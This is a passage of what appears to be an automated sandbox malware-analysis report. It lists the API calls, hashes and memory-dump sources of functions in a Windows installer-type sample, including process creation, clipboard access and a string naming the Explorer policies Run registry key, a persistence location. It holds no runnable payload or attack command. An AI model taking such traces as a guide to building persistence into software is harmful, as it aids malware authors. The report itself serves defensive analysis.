Function 00405EDE Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F73,004DD000,80000000,00000003), ref: 00405EE2
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction ID: 5201df1ff3c0a0bd0294a98706b79309786c42e99614e685d4e3591f63f4d9e2
Opcode Fuzzy Hash: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction Fuzzy Hash: D5D09E31254601AFEF098F20DE16F2E7AA2EB84B04F11552CB7C2940E0DA7158199B15

Uniqueness

Uniqueness Score: -1.00%

Function 00405EB9 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405ABE,?,?,00000000,00405C94,?,?,?,?), ref: 00405EBE
SetFileAttributesW.KERNELBASE(?,00000000), ref: 00405ED2

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction ID: 9f0be338fa0adf84d9e7c2e76c5bc37ea56a51acd28ddc8ab22a7b028afbcef4
Opcode Fuzzy Hash: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction Fuzzy Hash: 13D01272504420AFC2502738EF0C89FBF95DB543717124B35FAE9A22F0CB304C568A98

Uniqueness

Uniqueness Score: -1.00%

Function 0040599C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403498,004D5000,004D5000,004D5000,004D5000,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004059A2
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 004059B0

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction ID: 01a40f06620425e1c555583f7199589d3835b04f5715874dbca4219b9923c3a9
Opcode Fuzzy Hash: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction Fuzzy Hash: D6C04C71216502DAF7115F31DF09B177A50AB60751F11843AA146E11A4DA349455D92D

Uniqueness

Uniqueness Score: -1.00%

Function 004039E6 Relevance: 2.5, APIs: 2, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,74DF3420,00403819,00000006,?,00000006,00000008,0000000A), ref: 004039F8
CloseHandle.KERNEL32(FFFFFFFF,74DF3420,00403819,00000006,?,00000006,00000008,0000000A), ref: 00403A0C

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ffd8599462ce3f723ad4d03e4ae191cd570dcb1409c2afe1ca7b75f560b1f18d
Instruction ID: cd813d42a02bf8c0cac85f8aec853e45aa6acae4c29e822381722b559998feb2
Opcode Fuzzy Hash: ffd8599462ce3f723ad4d03e4ae191cd570dcb1409c2afe1ca7b75f560b1f18d
Instruction Fuzzy Hash: 0AE08C35A4071496C520EF7CBD8D9853A286B813357208326F0BDF21F0C7389EA79EA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401F06 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00405450: lstrlenW.KERNEL32(0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(0043E708,00402F08), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(0043E708,0043E708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Part of subcall function 004059D1: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0045E730,Error launching installer), ref: 004059FA
Part of subcall function 004059D1: CloseHandle.KERNEL32(?), ref: 00405A07

FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?), ref: 00401F4D

Part of subcall function 00406873: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406884
Part of subcall function 00406873: GetExitCodeProcess.KERNELBASE(?,?), ref: 004068A6

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: MessageSend$CloseProcesslstrlen$ChangeCodeCreateExitFindHandleNotificationObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 1543427666-0
Opcode ID: 1e17b9d0cd3dbac1f08edb0365c0efb45eeb9f6259674c83ab4016f25104067e
Instruction ID: acd8761c06f5a0ec48b5b4c4c323a9df4587fdbfc486ef5c68e798776a33b5ab
Opcode Fuzzy Hash: 1e17b9d0cd3dbac1f08edb0365c0efb45eeb9f6259674c83ab4016f25104067e
Instruction Fuzzy Hash: 37F09632906011D7CB20FBA189485DE77A49F40318B24417BF501B21D1CB7C4D419A6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406283 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 004062AC

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: b492cd94208fe9a136032c47e7ca6226b28abdd7f17191690e67bc203102cabe
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 94E0E672010209BEDF195F50DD0AD7B371DEB04304F11492EFA06D4051E6B5AD706634

Uniqueness

Uniqueness Score: -1.00%

Function 0040345D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

M, xrefs: 00404F76
, xrefs: 00405385
N, xrefs: 00405057

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 2e47159a8ee18e206dd23a4901cc844ba6fc231fc2eeb5e404362fef1fcfc38e
Instruction ID: d2f35d8900002cfc25ccfd4abe259465259501dfb46309a939b5c4dc2546952f
Opcode Fuzzy Hash: 2e47159a8ee18e206dd23a4901cc844ba6fc231fc2eeb5e404362fef1fcfc38e
Instruction Fuzzy Hash: 45028CB0900609EFEB109F94CD85AAE7BB5FB44314F10817AF615BA2E1C7798E42DF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

{, xrefs: 004057F5
(gD, xrefs: 0040587D

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (gD${
API String ID: 590372296-3503173740
Opcode ID: 9927c5c04afc45ce7243f23ce83da3be808d830e5e7dac2abc1f2713bef2e627
Instruction ID: c9c6b7b377eba0e4ba3b2f043119a7f49a951143ce35cdb84ba81c9eded025b4
Opcode Fuzzy Hash: 9927c5c04afc45ce7243f23ce83da3be808d830e5e7dac2abc1f2713bef2e627
Instruction Fuzzy Hash: F9B16A71800608FFDB11AFA0DD89AAE7B79FB48314F10817AFA45B61A0DB744E51DF68

Uniqueness

Uniqueness Score: -1.00%

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
EnableWindow.USER32(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00446728,?,00446728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00446728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(gD, xrefs: 004041C4

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (gD
API String ID: 184305955-2450699939
Opcode ID: 48a7949b4d51a1ec232375b91bbbfbe9bb62f1b02b2dd2e3074461365575c3ec
Instruction ID: dffee297adc4390e0108bf821a76a55ee3af39d38e00891df0cde6976b1e4786
Opcode Fuzzy Hash: 48a7949b4d51a1ec232375b91bbbfbe9bb62f1b02b2dd2e3074461365575c3ec
Instruction Fuzzy Hash: 51C1B3B1540600EFDB216FA1EE85D2B3BA8EB85706F10053EFB41B11F1CB7998919B5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040451E Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run, xrefs: 004046FB

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
API String ID: 3103080414-2660932049
Opcode ID: ee6812b55728e13701025233a8a1636c33168640e361f3cefbda46e1e37430c8
Instruction ID: 4cd1da19937af119875355adca30567c2743cec9092c6b5b68c8bc3b1ab06c36
Opcode Fuzzy Hash: ee6812b55728e13701025233a8a1636c33168640e361f3cefbda46e1e37430c8
Instruction Fuzzy Hash: 176181B1900209BFDB109F60DD85EAA7B69FB84354F00853AFB05B72E1DB789D51CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00468240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

